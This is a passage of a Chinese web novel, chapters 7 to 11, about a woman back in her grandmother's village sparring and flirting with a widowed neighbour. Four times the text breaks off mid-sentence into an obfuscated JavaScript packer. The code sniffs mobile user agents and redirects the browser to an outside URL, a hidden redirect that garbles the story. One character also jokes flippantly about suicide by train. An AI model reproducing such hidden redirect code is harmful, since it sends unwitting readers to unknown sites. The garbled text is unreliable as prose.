“是啊,分手还不到两年,我在朋友圈看到她生了个大胖小子。” 年轻时候挺潮的,打眉钉,鼻环,还用唇钉给她表演喷泉,她们多快乐啊。 转个背的功夫,头发染黑,换回小香风光速嫁人,婚礼上哭得梨花带雨。 “我都送了份子钱。”沈新月每次想起都特别后悔,恨不得一头撞死。 江月盈默了两秒,“满月酒你不会也去了吧?” 沈新月拿乳液擦脸,耷拉着眼皮不说话。 “你才是真正的苦行僧,凡俗里修行的大家,高人。” 江有盈竖起大拇指,“胸襟之开阔,无人能及。”又帮着出主意,“你不正缺钱,要不现在去把钱要回来,威胁她不还钱就告诉她家人。” “被我删了。”沈新月细声说:“上火车之前,我寻思,就告别过去了呗,全都删了。” 目前只有她的律师朋友和银行催收主动添加了好友,连她妈都没发现。 “你是我在这里认识的第一个人,添加的第一位好友。我朋友重新加我的时候把我臭骂一顿,以为我想不开,卧轨去了。” “卧轨?”江有盈狐疑。 “没卧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845527|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈新月叮嘱她别跟外婆告状,“那都是开玩笑的。” “李致远就是卧轨死的。”江有盈说。 “啊?”沈新月吓一跳。 “本来活着的时候就残废,死了还东一块西一块的,太不体面。” 江有盈真诚建议,“你真想死,别卧轨,难收拾。” 没想到能引出这茬,沈新月下巴险些惊掉地上。 “不是,为什么?他为什么?” “我不知道。”江有盈漫不经心耸肩,似乎跟李致远关系一般。 但还是给予死者最大尊重,“生命是自己的,好死还是赖活着,自己说了算。他心中的痛苦,终究要自己承受,没有人替他分担。” 沈新月忽然觉得难过,眉心聚起,长长的睫毛盖住眼睛。 “好了,下楼吃饭吧,都是我的错。” 江有盈轻轻拉起她的手,“抱歉,大早上不该跟你说这些。” “没关系的,闲聊天而已。”沈新月转身安抚,也不想让她太愧疚。 心里沉甸甸,忘了挣脱手。 直到凉风舔舐指尖,散去温热,苦苦的柚子花香远去了,沈新月攥起拳头,才发觉掌心空空。 饭桌上,外婆问接下来什么打算,沈新月摇头,“没想好。” “那就先歇着。” 外婆给她碗里拨了点辣萝卜,“有钱花没?要不我给你点,我那有现金。” 好多年没吃外婆腌的萝卜条了,又麻又辣,下稀饭很过瘾。沈新月照例是报喜不报忧,“不用,我走的时候朋友给取了两千块钱现金。” 又笑着说:“村里有钱也花不出去,能吃饱穿暖就行,我很好养的。” 外婆搁了筷子,摸摸她的脑袋,她配合低头,人肩膀蹭蹭,撒娇。 江有盈小口喝粥,并不戳穿。沈新月投去感激一眼。 饭还没吃完,门口冒出几个老太太,跟外婆前一天约好的,去山上摘野菜。 “就来!”飞快扒了几口稀饭,外婆去杂物间翻出她的小竹篮,欢欢喜喜往外奔。 走出几步,回头,挎着篮子站沈新月面前,想嘱咐几句,瞧见旁边江有盈,拍拍她肩膀,“孩子托付给你了。” 一帮老太太风风火火来,风风火火去。 沈新月吃完,收碗进厨房,洗完手出来,小院空荡荡,又没了人影。 刚才外婆还说让她照顾她呢!竟然趁人家洗碗偷偷跑掉。 像什么话! 鼓着张脸老大不高兴,沈新月忍不住朝树干踹了脚,刚要转身往楼上走,去看看小寡妇在院里忙些什么,门前小寡妇竟去而复返。 “喏——”江有盈手里提个大塑料袋,不轻不重摔她怀里。 “什么啊。”怨气未消,沈新月小幅度噘了下嘴,掀开袋子。 毛巾、浴巾、洗脸巾、卫生巾、止痛药、棉签棒,还有内衣皂。 卫生巾甚至还分了护垫,日、夜用和安睡裤。 “给小丸子的生活日用。”江有盈语调十分宠溺。 “什么小丸子。”沈新月晃晃脑袋,晕乎乎了。 下一秒,她骤然清醒。 “撒尿牛丸。” 8. 第 8 章 房子后院依着围墙几棵芭蕉树,三四米高,郁郁青青,分外欣荣。 树下一个鸡笼,年过完只剩两只,江有盈拿早上剩的米粥倒进个塑料盆,墙边提把锈迹斑斑的破菜刀,树墩子上剁青菜。 沈新月蹲旁边看,“吃得还挺健康。” 江有盈家没后院,鸡是她跟外婆去年春天一起买的苗儿,没细分什么一三五二四六,反正谁有空谁就来喂。 “你既然没事做,以后每天早上起床先喂鸡。” 江有盈两只袖子撸得高高,左右手配合一铲,剁好的菜叶子摔进塑料盆,拿个破勺搅和几下,舀进鸡食槽。 然后刮干净墩子,收了菜刀,地面也清扫干净。 全过程不到五分钟。 沈新月蹲鸡笼面前,好奇看鸡啄食,看了半晌,长长叹口气。 江有盈洗干净手挨去她身边,“怎么了又?” “你能相信吗?去年的这个时候,我在海洋馆看美人鱼给我进行专场表演。” “现在呢?”沈新月歪了下头,“看老母鸡吃播。” 她也不太确定,扭头问:“是老母鸡对吧。” “没错。”江有盈叉腰站那,“三百天以上,下过蛋的就算老母鸡了。” 顿了几秒,好奇眨巴眼睛,“这个世界上真的有美人鱼呐?” 沈新月一时没反应过来,被问迷糊了,“什么美人鱼。” “你刚才说的美人鱼。”江有盈轻推她一把,“美人鱼表演嘛,还是专场。” 沈新月噗呲乐了,“对啊对啊,是有美人鱼的,都被抓起来送到海洋馆,好可怜的。” 她说人类太可恶啦,“上岸”实在是很可怕的一件事,不上岸,只能在海洋里吃塑料垃圾,上岸后虽然获得了稳定的收入,却退化成牛马。 说完自己在那咂着嘴回味,“我真是个哲学家。” 江有盈反应过来,气得踹了她一脚。 “哎呦!”沈新月叫鸡笼里飞溅出的米渣子迷了眼睛,一头撞在笼子上。 “怎么了怎么了……”江有盈赶忙把她搀到一边,上上下下看,“哪儿疼,哪儿受伤了。” 沈新月说“眼睛”,江有盈立马撑开她眼皮,呼呼吹。 眨眨眼,感觉没事了,沈新月才发现自己半躺人怀里,挨着她的左边身体暖暖的。 “这么紧张,喜欢我啊。” “上一边去。”江有盈推开。 眼睛睁得大大圆圆,沈新月试图从她脸上找到一丝害羞的证据,可惜了,她皮肤虽然很白,脸皮却很厚,心事不往外透。 江有盈冷笑,“你以为我是你,那么没见过世面,姐狱花来的你忘了?” “一个笑话讲多就不好笑了。”沈新月跑上楼,用江有盈新送给她的洗脸巾洗脸。 鸡吃东西没素质,到处飞,弄得她满脸都是。 江有盈今天穿一件黑白格衬衫,长裤好像也是昨天那个款式,只是颜色更浅。 目前为止,同款衬衫出现了蓝白、粉白、灰白和黑白四种颜色搭配。沈新月完全可以理解,衬衫穿着很舒服,她大概很依赖这种“安全感”,才会把同一款式不同颜色全部集齐。 就像点外卖,怕踩雷,怕犯错,怕花冤枉钱,翻来翻去都是那几家,吃到吐。 江有盈站楼下喊了一嗓,“既然是你外婆托付,我今天刚好没什么事,要不陪你四处走走。” 没那句“外婆托付”,沈新月说不定就下楼了。 “我不是小孩,不需要谁托付。”再说你不能是自己想陪我散步吗? 莫名其妙的,沈新月心里起了别扭。 “真不去?”江有盈两手插兜,拽拽的。 “不去。”除非你求我。 “不去拉倒。”江有盈调头就走。 她走路步子迈得大,个高腿也长,几步就没了踪影,沈新月气得牙疼。 “拉倒就拉倒!” 箱子里还是有几件漂亮衣裳的,沈新月翻出条粉色纱纱布半身裙,先给自己套上,对着镜子转圈。江有盈说的,粉色娇嫩。 上身在毛衣和西装之间纠结许久,沈新月最后选了件小西装。 显得酷一点,路上碰见了不怵。 值钱的首饰早就典当,可不值钱的还有一大堆呢,她化了全妆,戴一对民族风羽毛耳环,嘴涂得像喝了半斤人血,哪儿哪儿单拎出来都不伦不类,搭配在一起,倒是意外的好看。 江有盈成天姐姐姐的,哼,谁还不是个姐了。 “姐就是时尚女王!”沈新月踩着高跟鞋出门。 她们这地方是丘陵地貌,山不少,但大多不高,成片连着,秀坪村刚好是山窝窝里的一块平坦地方,古时候还出过几个文人秀才,所以叫秀坪。 秀也是秀丽的秀,这地方风景好,有古镇有梯田,还有荷塘,四季分明。 不过最出名是村中心那棵老槐树,五百多岁了,葳蕤茁壮,六七月满枝满头的花,上过杂志、新闻,还吸引了好多导演来拍电影。 从半空俯瞰,所有房子都是围着树建,越靠近大树,房子越多,越密,也越热闹。 听外婆讲,她们家是北洋时期才来这里定居的,避难来着,房子建在村边上,到大树有个十来分钟的路程。巷子多,绕。 小时候沈新月去大树玩,总嫌远,现在人变多了,她家那位置倒是刚好。 一来是占地广,有门有户的,活动空间大,二来是清静。三嘛,将来要开发成民宿,自己家房子不需要付房租,差不多是无本买卖。现在人都厌倦了城市,向往隐居,秀坪是个好地方。 沈新月一路走一路看,跟小时候到底不一样了,人多是一方面,还有就是各种文创店、咖啡店和奶茶店的兴起。半商业化。 完全不商业化也不行,游客来了,吃什么,玩什么呢,住哪儿呢,沈新月挺满意的,这种程度刚刚好。 村里人有钱赚,城里人有消遣。 这几年县里大力发展,修桥铺路,搞宣传,周六不少游客,沈新月混入其中不显另类,只是高跟鞋在石板路上并不好走。 走半道又闻见咖啡香,沈新月被勾了魂似的,循着味儿就去了,老远看见店门口有个身材顶靓的女人坐在高脚椅,穿一条浅灰色工装裤,上身是同色系的背心,从后看小腰就那么一把。 爱美之心人皆有之,沈新月忍不住多看了两眼,走到人跟前,没察觉到对方已经转过脸来,正笑眯眯饶有兴味地盯着她。 直到那人开口说话。 “好巧啊,沈小姐。” 音色太过熟悉,要笑不笑的,像专程等在那看人出洋相,满肚子坏水。 沈新月吓一激灵,猛抬头看向她迎着朝阳的脸,屋檐下冰晶折射出来的光亮般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845528|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺眼。 怎么是她。 沈新月本来要发脾气,气她丢下自己跑来喝咖啡,转念一想,不行,拿出会议桌上跟甲乙方谈判惯用的那副假笑。 “江师傅啊,真巧。” “老盯着我看什么呢?”嫌热,江有盈衬衫脱了,搭在大腿,手撑台面,托腮笑盈盈把人上下打量。 “打扮真漂亮,小裙子小高跟鞋的。” 两人认识时间不长,也许是频繁见面的缘故,沈新月总觉得认识她很久了,隐约有一种感觉,女人天生忧郁,并不是时时刻刻笑脸迎人。 初次见面,乡道上惊鸿一瞥,她漠然投来视线,神色淡淡,无悲无喜。 莫名的,从第二眼开始,霞光映照下冰雪丰富了颜色。 我长得很喜感吗?沈新月摸了把脸。 在咖啡店门前,人面前刚好也摆了一杯,沈新月还明知故问,“你在喝咖啡呐。” “嗯哼。”她挑眉。 “闻着真香。”沈新月故意舔了下嘴唇,大几十人,露出小孩馋样儿。 “你也来一杯。” 江有盈端起白陶杯,浅抿一口,显然是走路上吃棒棒糖,故意在小孩面前呲溜嗦那种坏大人。 囊中羞涩,低人一等,沈新月瘪了瘪嘴,“我没有钱。” “那你问问老板,能不能赊账,她是我朋友,我可以让她给你打八折。” 江有盈屈指敲了敲玻璃窗,显得多热心肠似的,朝里面喊:“喂,这里有个小姑娘,想喝咖啡但没有钱,你们店能不能赊账啊。” 里面做咖啡的姑娘听见“啊”一声,走到窗口,两人之间来回看。 臊皮啊,真臊皮,沈新月脸一下就红到脖子。 她转身想走来着,可实在馋,再说脸不能白丢吧,总得换回些什么。 “对不起啊,我们小本生意……”后面话不用全说出来,都是成年人了,懂的都懂。 从旁经过的游客听见她们对话,连连回头看。姑娘看着蛮漂亮的,身材气质和打扮也不错,怎么连杯咖啡钱都没有。 也有眼尖的,走老远了才跟同伴小声说:“调情呢。” 谁跟她调情,这根本就是羞辱人! 眼眶憋得通红,强忍泪不落,沈新月死死盯着面前人,真想不通,她怎么时好时坏的。 “我惹你啦?”到底还是哭出声。 这个恶毒的小寡妇却一点愧疚之心也没有,无辜眨眼,“我怎么了,我帮你问问能不能赊账嘛,好心来的,你还不领情。” “才不是,你就是故意欺负我,欺负我没钱!” 沈新月横臂抹了把眼泪,越想越伤心,“欺负我你有钱赚怎么滴,从见面你就欺负我!我又没欠你的,什么毛巾浴巾卫生巾,又没专门找你要。” 小寡妇心理素质是真好,面对她声声质问,一点反应没有,还悠哉喝咖啡。 “好了好了,不哭了。”店里咖啡师端出一杯焦糖拿铁,“这是江师傅专门给你点的,你还没走到店门口的时候就吩咐我去做了。” 说着递来纸巾,“擦擦泪,她跟你开玩笑呢,别生气,她就是这样的人,嘴硬心软。” 自尊心到底打不过胃里馋虫,沈新月吸了吸鼻子,磨磨蹭蹭走上去,双手捧杯,喝一大口。 她唇边沾了圈咖啡泡,眼泪还挂在腮帮子,江有盈伸手刮一下。 9. 第 9 章 讲不清是有意还是无意的肢体触碰,次数一多,沈新月渐渐习惯,不至于羞臊得满脸春色,现在确实也没心情,一巴掌打开她手。 “长刺儿了。” 江有盈这个“盈”字,不单是满月的盈,也是欢喜的盈,一见她就笑,总笑着。 沈新月还在气头上,“许你欺负我,不许我反抗了?” “哪儿能啊。”江有盈下巴点点旁边高脚椅,示意她坐,顺手拎起人家一片裙摆,“早说要打扮,我就等你了。” 稀奇,又不是专程为你打扮。 沈新月小口喝咖啡,焦糖甜度正好,中和了咖啡的酸苦,又不至于太腻,秀坪这样的地方,倒是难得。 “果然你们城里人都爱喝咖啡。” 江有盈把自己面前那杯推过去,“尝尝我的呢。” “我才不要。”沈新月又一巴掌打在她手背,裙摆扯回来,“少跟我动手动脚的。” “为什么。”江有盈假装委屈,“你嫌弃我啊。” “怕传染到你身上刻薄的菌群,污染了我纯净的灵魂。”说完装模作样掸掸裙角。 手掩唇,江师傅笑得花枝乱颤。 “你朋友啊。”店里咖啡师凑个脑袋过来闲聊。 “这是小安。”江有盈向沈新月介绍,回头又跟屋里人说:“于阿婆家外孙女。” 沈新月一直不是特别关心别人家事,李致远住她隔壁,死了那么多年她都不知道。 人以群分物以类聚,小时候的玩伴,撇开性取向这扇隔阂不说,到了她这个岁数,大多在城里买了房结婚生子,混成她这样,少小离家少小回的,罕见。 总之就是怕没认出来,尴尬,沈新月只是笑笑,等她先说。 “那你家是本地的了。”小安羡慕神情,“出生在这样一个山清水秀的好地方,真幸福。” 她是北方人,说老家那块特别缺水,冬春季节,连着几个月刮不完的尘暴,连天空是什么颜色都忘记了。 “这里真的很漂亮,空气也好,我跟房东签了二十年的合同,打算就在这儿养老。” “那挺好。”心里松口气,煞有其事点点脑袋,沈新月手来来回回摸着咖啡杯的手柄,半晌才慢吞吞说:“其实我也是。” “是什么?”江有盈追问。 “养老呗。”沈新月苦笑一下。 外面的花花世界早就看过了,也没有东山再起的资本和精力,除了躺平还能干什么。 江有盈轻哼一声,“你穿成这样,不像真的来养老。我看,只是没地方去,才迫不得已。” 因为刚才的事,心里还有些怨,尽管咖啡已经喝去大半杯,不知道是不是真的被人戳到心里的一块软处、伤处,沈新忍无可忍拍了桌。 “我穿哪样儿了,谁规定回老家就不能不能化妆穿裙子。” 也真是熟了,还攻击人家,“你自己天天五颜六色的破衬衫换着穿,不许人家打扮。” “不是裙子的事,也不是化妆的事。” 江有盈淡淡的,没跟她生气,“爱漂亮跟在哪儿都没关系,但我说的是一种生活态度。你懂什么叫态度吗?” 还跟她上课来了,沈新月觉得这人可真有意思,“那您给说说,我什么生活态度。” 稍侧身,江有盈手臂小幅度一摆,指着地面,“外面来的游客也好,本地人也好,你看到几个像你这样踩高跷的,你赶火车都知道穿靴子,方便走路,防下雨,村里石板路,村外泥巴路,你这鞋怎么走?” 沈新月鞋跟七八厘米高,这一路走来确实不容易,脚趾塞进窄窄的鞋头,推挤着,生疼。 秀坪村没有写字楼,没有铺着软地毯的办公间,实话讲,她出门的时候就后悔了,可心里就是有股气憋着,不服。 喝口咖啡,江有盈调子慢吞吞,“人家都说,手是人的第二张脸,能看出这人平时是卖劳力多还是享福多。其实鞋子才是最准的,不仅能看出审美和经济能力,还能检验智商。” 什么意思,前面说她没有生活态度,现在又骂她智商低? “你凭什么这么说我!”沈新月真生气了,死盯着面前这张脸。 好看是真好看,半张脸沐浴着阳光,半张脸躲藏在屋檐下,鼻梁处一道狭长阴影,颌骨线条犀利,眉目简洁秀美。 也是真坏,真毒,偏偏具备强烈致命吸引力。 似一汪深潭,水上水下各不同,试图潜入探查个究竟,必然要承受一番彻骨的寒。 “我没凭什么。”江有盈说:“我不是你的谁,没那资格,是你问我的,我说出心里话而已,你要不乐意,大不了以后闭嘴,随你。” 说完,咖啡一饮而尽,转身离开。 “因为我不答应给你当助手,给你打工,你成心报复,是吧?”沈新月在她身后嚷嚷。 她一手插兜,一手举高左右摇晃,“拜拜。” 骂完人就想跑,想得美!沈新月举杯大口喝完,抓起纸巾胡乱擦了把滴到下巴的咖啡液,跟小安打个招呼,提裙小跑追赶。 高跟鞋“笃笃笃”,像马蹄,江有盈大步流星,七拐八拐,转眼不见踪影。 沈有盈追到巷子口,后脚跟一片火辣辣,弯腰低头看,磨出血了。 “怎么着,想报仇啊。” 回头,江有盈从巷里一家文创店走出来,两手插兜,倚门站着。 这人真奇怪,明明走路做事的时候看着挺麻利的,一挨上门框就好像被人抽去脊梁骨,蛇般垂挂。 后脚跟的痛强忍耐着,沈新月挺了挺背给自己鼓劲儿,站她面前,“我只是想告诉你,穿什么鞋我都能走,都能追上你。还有,你说话本来就自相矛盾,既然不想说干嘛非说,说完又假惺惺说哎呀以后不说了。” “那我不说怎么知道你是不是爱听呢?”江有盈不慌不忙道。 沈新月噎住,哽几秒,“反正你少管我。” “好的。”她微笑致歉,“我也请你喝咖啡了,我们两清,再见。” 江有盈凶巴巴骂人的时候,是真让人直发毛,好好声讲话的时候,又让人打心眼里觉得,她是个见多识广的温柔女子,摆摆手,一笑置之,什么都不跟你多计较。 沈新月勾了下头发,“不,我就要跟着你。” “那你跟着吧。” 调子清凌凌,早春解冻的小溪流。 说话间,一抬身从门前走来,兜里摸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845529|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包纸巾,“对了,这个给你。” “什么?”沈新月迷糊。 “脚磨烂了。”说完把人领到旁边台阶坐下,让脱了鞋子,拿纸垫着。 两只脚在鞋里憋得可难受,脚趾通红,脚背青紫,后面跟腱处更是惨不忍睹。 不提还好,一提心里就冒酸水,委屈,沈新月吸了吸鼻子,不敢哭,怕人家笑。 “我说你智商有问题,你还不承认。” 江有盈念叨归念叨,指尖是温柔的,往伤处呼呼吹几下凉气,纸巾叠几层,在后脚跟那卡得紧紧,防止走路的时候蹭掉。 弄完了,拍拍巴掌直起腰,朝她伸出手。 打个巴掌给颗甜枣,此人惯用伎俩,沈新月把手搭上去,“你伤害了我,心里是不是也很不安,所以才弥补我。” “我伤害你?”江有盈扔开她手,“不是我让你穿高跟鞋出门的。” “我是为了追你。”沈新月说,也不装了,一瘸一拐跟在人身边。 “干嘛追我?”她回头。 “我要急支糖浆。”沈新月胡接道。 江有盈愣了下,摇头笑笑。 嘴上不说什么,心里却憋着坏,领着大小姐出了村,往野地里去。 前半截还有段荒草丛生的水泥路,路上为防滑,水泥半干不干的时候,划满横道道。 有眼瘸的人,靠边留下几个深深的大脚印,也有懵懂小动物一溜惊慌失措的可爱小爪。 心思单纯,尚未察觉异样,沈新月弯腰在那研究,“这种枫叶形状的,是鸭爪爪吧。” 不由想起小时候背诵的诗句,清了清嗓开始朗诵。 “小鸡画树叶,小狗画梅花——” 江有盈一边看着,眼眯起,满月成了弦月。 继续往前走,到一片荒冷的荷塘边,春日景色寂寂,红艳不再,也正因如此才能看清荷塘的全貌。 远山点翠,野树生花,脚下几户白墙黑瓦,近处残荷去岁严寒的雕刻永存。 “我一直觉得春天还不是最好的季节,初夏才是。” 大片水塘被土路切割成两半,靠岸圈了张工地上盖房子用的那种青纱网,岸上一个石棉瓦搭的小棚子,大群水禽分散在池塘和岸边。 江有盈带她走进荷塘深处,高的野草枯黄着杆,矮的嫩叶脚下毫不起眼。 “初夏不冷不热,花开叶张,小荷在水面上冒尖,那才漂亮。” 大鹅见了生人,扯着脖子嘎嘎叫,沈新月隔着网跟它比赛,鹅叫一声她叫一声。 后来比不过,人家有帮手,喊了一帮兄弟过来PK。 整个世界被尖锐而响亮的鹅叫声填满,江有盈闭了闭眼。 “我也喜欢初夏,紫藤花开的季节。” 沈新月不比了,扶着旁边一棵小树,下到泥巴地。 忘了之前吵架,她刚要张嘴,问江有盈带她来荷塘边干什么,下一秒,发现自己鞋跟插土里了。 好,不用问,她现在明白了。 趁着江有盈还没回头,她抬腿使劲朝前那么一踢,鞋子飞出去,正正打在人后脑勺。 自己也没落得好,脚一瘸,身子一歪,“噗通”掉进荷塘里。 10. 第 10 章 “沼泽沼泽!” “救命救命!” “姐姐救我!” 江有盈好端端在前头领路,没招谁没惹谁,莫名其妙就被高跟鞋踢了。她后脑勺青痛,发尾挂块黄泥巴,一扭头,沈新月掉池塘里去了。 池塘不深,冬春水枯,才没大腿,沈新月惊惶失措,像只被人一脚踹翻的小王八,水里挥舞着四肢,急扑腾。 “姐姐救我呀!”她连连呼喊。 江有盈第一反应是要救的,往岸边走两步,想起什么,站那不动了,“有事好姐姐,无事小寡妇,也有你低头求人的时候。” 这人好记仇! “人命关天,你还说这些。”沈新月真想不通,她跟秀坪村水田里、池塘里的烂泥巴到底有什么不解之缘,非跟她黏黏糊糊浆糊似纠缠不清。 “干嘛踢我。”江有盈趁机审问。 有句俗语,叫‘如溺水之人抓住救命稻草’,沈新月从前十分不屑一顾。稻草管屁用,该沉还得沉。 现在她明白了,左右手分别抓着两个枯掉的小莲蓬,“姐姐我没有踢你,是鞋跟陷入泥里面,我往外拔的时候不小心飞出去的。” “哦,原来如此。”江有盈勾了下额角碎发,“你不是说,你的鞋哪里都能走吗?怎么会陷泥里。” “是我井底之蛙,狂妄自大,不识庐山真面目,姐姐你夏虫不可语冰,就别跟我一般见识了……” 这会儿倒是乖了,好听话一箩筐一箩筐往外倒。 “别扑腾了。”江有盈说。 她不想弄脏手,回头去岸边拿了根赶大鹅的竹竿,把沈新月拽上来。 沈新月两只鞋一只掉在土路上,断了鞋跟,一只陷泥里找不见了。 她恩将仇报,上来立马翻脸,“我跟你说,我真死了,你要负刑事责任的。” “夏天采荷花采莲蓬,我都是直接下到水里去采,这池塘什么深浅,我比你清楚。” 江有盈弯腰捡了那只高跟鞋,“走。” 粉白色纱纱裙成了大地色纱纱裙,一路走还一路滴答,没了鞋,沈新月只能打赤脚,乡间的泥巴路,杂草碎石硌痛脚心,她不敢提要求,缩着肩老老实实跟在后面。 江有盈这次打定主意让她长长记性,愣是没管,领着人一路招摇过市,村东走到村西。 经过咖啡店门前,小安探身惊呼,“这是怎么了?” 沈新月掀起外套,把脸遮住。 村里的石板路是古时候就铺设,一钉一锤人工敲打出,数百年时间不曾磨损尽棱角,比村外的泥巴路难走。 到家门口,沈新月脚痛得不行,一瘸一拐往卫生间去,恍然想起,热水器还没修好。 她长长叹了口气,又一瘸一拐往隔壁院子去。 还嘟囔,“体罚终于结束了。” “体罚?”江有盈诧异回头,“你觉得我在体罚你?” “没有没有!”沈新月忙摆手,可不敢造次了,不然得罪了小寡妇,澡都没地方洗。 “姐姐是帮我长记性,让我以后别再犯蠢,给我指明路呢。” “哼——”江有盈转身,“算你识相。” 事实上,小泥娃根本不服,卫生间门前捏拳站了会儿,忽就恶向胆边生,两手使劲蹭了把裙摆的稀泥,飞跑上前,捧起她脸一通乱糊! 每次干坏事自己也不落好,脚底沾水打滑,“哎呦”一声,结结实实摔个屁股墩。 “沈新月!”江有盈怒喝出声。 地上那个五颜六色的破烂东西连滚带爬躲进卫生间,门“砰”一声砸上。 “哎呦我的屁股,好痛好痛——”沈新月苦着张脸,不停揉。 转身,镜里瞅见自己,刚拔出来的泥萝卜似,又哭又笑,情绪十分复杂。 十几分钟后,沈新月后悔了,门缝里探出个脑袋,“姐姐姐姐”不停喊。 江有盈站在二楼围栏边,脸上污泥洗干净,右手托举个小小的紫砂壶,慢悠悠咂口茶,“鬼叫什么。” “好姐姐,亲姐姐,超漂亮赛天仙温柔可亲妙人儿无敌至尊盈盈姐姐……” 使坏的时候没想到这层,沈新月给自己逗乐了,“求求你啦!” 小嘴抹了蜜,可甜。 “要才刚认识,我就信了你了。”江有盈冷笑一声,“里面待着,好好给我反省反省。” “呜呜,姐姐不要嘛——”沈新月抹了把并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845530|159210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不存在的眼泪。 说话间,门口走进个穿工作服的年轻男人,脚步匆匆,连喊“江师傅”。 进院,瞧见门缝里长出个人脑袋,他吓一跳,“欸?这谁。” 沈新月脑袋缩回去,把门关了,反锁。 “什么事。”敛了笑,江有盈下楼,音色变得低沉。 “借个电钻。”他边说边回头看,大拇指往后一戳,“谁啊,怎么在你家卫生间,瞧着面生。” 后半句江有盈直接忽略,领着他往工作间走,“你一个做泥瓦的,要电钻干什么。” “嗐,光会泥瓦不行啊,现在干什么都卷,我家隔壁张婶,儿子去年冬天买的一个取暖器挂墙上,没钉结实,掉下来了,带一大块墙皮还险些砸着人,我给她补了墙,换个地方再钉上。” 完了又回头,“是个姑娘,你客人呐?还是亲戚,怎么每次来都在洗澡。” “废话没完,是谁跟你有关系吗?” 江有盈取了电钻递过去,顺道给他拿几颗膨胀螺丝,“十块,扫码。” 他哀嚎一声,“不是吧江师傅。” “不要就滚。”江有盈把螺丝扔回去。 她平时虽然冷冷的,待人接物多少算和气,突然发脾气,把人吓一跳,对方赶忙举手投降,“好好好,我扫码,姐别生气,我不打听了。” 送走小曹,江有盈回房去给沈新月拿衣服,柜子里一堆五颜六色的衬衫让她犯了难。 千挑万选,选出一件色系相对温柔的套头毛衣。 “刚才那个是小曹吗?”沈新月隔着门跟她说话。 “你认识?”江有盈深深地皱眉。 “发烟那次,你说是做泥瓦的小曹给的,刚他借东西,你又说了一次,我听声音像。” 毛巾帽包着头发,显脑袋大,沈新月穿毛衣的时候卡住,扯半天才扯下来。 这一顿捣鼓,自然没听见某人不悦的嘀嘀咕咕。 ——“连面都没见就记住人家声音。” 穿好衣服出来,沈新月摸着毛衣胸口的黑色小猫,“今天是紫色呢,我也喜欢紫色,妹妹说紫色很有韵味。” “哪个妹妹?”江有盈狐疑挑眉。 11. 第 11 章 被人家嫌弃没品味,不会打扮,千挑万选了一件自己认为还算过得去的漂亮衣服,美美等着挨夸呢,结果迎头给她送来个不知道谁家的“好妹妹”。 “你喜欢比你小的啊?”她别别扭扭打听。 沈新月什么人,立即敏锐捕捉到。 “你紧张了?” “我紧张什么?”她迅速转身离开,欲盖弥彰过于明显。 沈新月擦着头发跟上去,“是啊,你紧张什么。” “毛衣不好看吗?紫色温柔,小猫可爱,材质也十分柔软亲肤,这个季节穿,不冷不热刚刚好。” 江有盈话题转移得生硬。 沈新月却不是那么好糊弄的,脚尖勾来一张小竹凳,挨去她身边,“谁会不喜欢妹妹,你看你,一见面就被我迷得晕头转向,多次表白无果,恼羞成怒下干出多少荒唐事。” “妹妹香香软软,甜蜜可爱,生气就哼哼哼,撒娇就嘤嘤嘤,把人勾得,哎呦就是冰块做的心也暖化了。” 完了补充,“就像我这样。” 自恋鬼。 “那你以前交往的都是妹妹了?”江有盈又道。 看来十分在意呢。 沈新月倒没那么多讲究,对于另一半她更注重缘分和感觉,又不是做数学题题,还套公式。 “前前任是妹妹。”她对人一向没什么防备心,直接说了。 “那你是上面的还是下面的?”江有盈继续打听。 聊这么深。“你想当下面的还是上面的?”沈新月反问。 “关我毛事?”她轻推她一把,嗲怪。 沈新月心里被她闹得痒痒的,“干嘛这样跟我说话,像在勾引我。” “你有毛病吧,谁勾引你了,我正儿八经的一个、一个……” 一个什么呢,江有盈卡住。 “一个小寡妇。”沈新月接道。 也行,事实如此。她不置可否。 “好吧,我一般在上面多。”沈新月一向诚实,“我喜欢看人家哭。” 什么癖好? “变态。”江有盈骂。 